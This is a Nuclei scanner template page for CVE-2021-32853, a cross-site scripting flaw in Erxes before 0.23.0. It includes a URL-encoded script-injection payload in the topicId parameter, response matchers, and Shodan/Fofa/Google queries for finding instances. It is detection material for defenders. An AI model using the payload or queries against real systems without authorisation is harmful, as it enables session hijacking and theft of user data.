CVE-2021-32853: Erxes <0.23.0 - Cross-Site Scripting
- Template: CVE-2021-32853
- Name: Erxes <0.23.0 - Cross-Site Scripting
- Description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
- Remediation: Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
- Severity: critical
- Authors: dwisiswant0
- Tags: cve2021, cve, xss, erxes, oss, vuln
- References: https://securitylab.github.com/advisories/GHSL-2021-103-erxes/, https://nvd.nist.gov/vuln/detail/CVE-2021-3285, https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14, https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
- Cves: CVE-2021-32853
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-32853.yaml
- Digest: 490a00463044022079443f48a4d36809f8e2eaff3b725f1da23e5606555e707d44f2ed19df89d74202200672ae75a86505c91a57f54f8d332fd9ea217aa877d115b864f863e1bbb4fdf6
- Created at: 2022-02-02T20:46:08Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1756
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32853.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 9.6
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Epss score: 0.03125
- Epss percentile: 0.88179
- Cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="erxes"
- Google-query: intitle:"erxes"
- Max-request: 1
- Product: erxes
- Shodan-query: http.title:"erxes"
- Vendor: erxes
Products
| Product | Indexed | Url |
|---|---|---|
| erxes:erxes | yes | /v1/products/erxes/erxes |
Labels
- Name: Erxes - Stored XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or redirection.
- Remediation: Update to version 0.23.0 or later to fix the vulnerability.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs victim to load malicious input
- Labels source: projectdiscovery
- From cve: CVE-2021-32853
```yaml
id: CVE-2021-32853
info:
name: Erxes <0.23.0 - Cross-Site Scripting
author: dwisiswant0
severity: critical
description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2021-32853
cwe-id: CWE-79
epss-score: 0.03125
epss-percentile: 0.88179
cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: erxes
product: erxes
shodan-query: http.title:"erxes"
fofa-query: title="erxes"
google-query: intitle:"erxes"
tags: cve2021,cve,xss,erxes,oss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'topic_id: "</script><script>alert(document.domain)</script>'
- "window.erxesEnv"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 490a00463044022079443f48a4d36809f8e2eaff3b725f1da23e5606555e707d44f2ed19df89d74202200672ae75a86505c91a57f54f8d332fd9ea217aa877d115b864f863e1bbb4fdf6:922c64590222798bb761d5b6d8e72950
```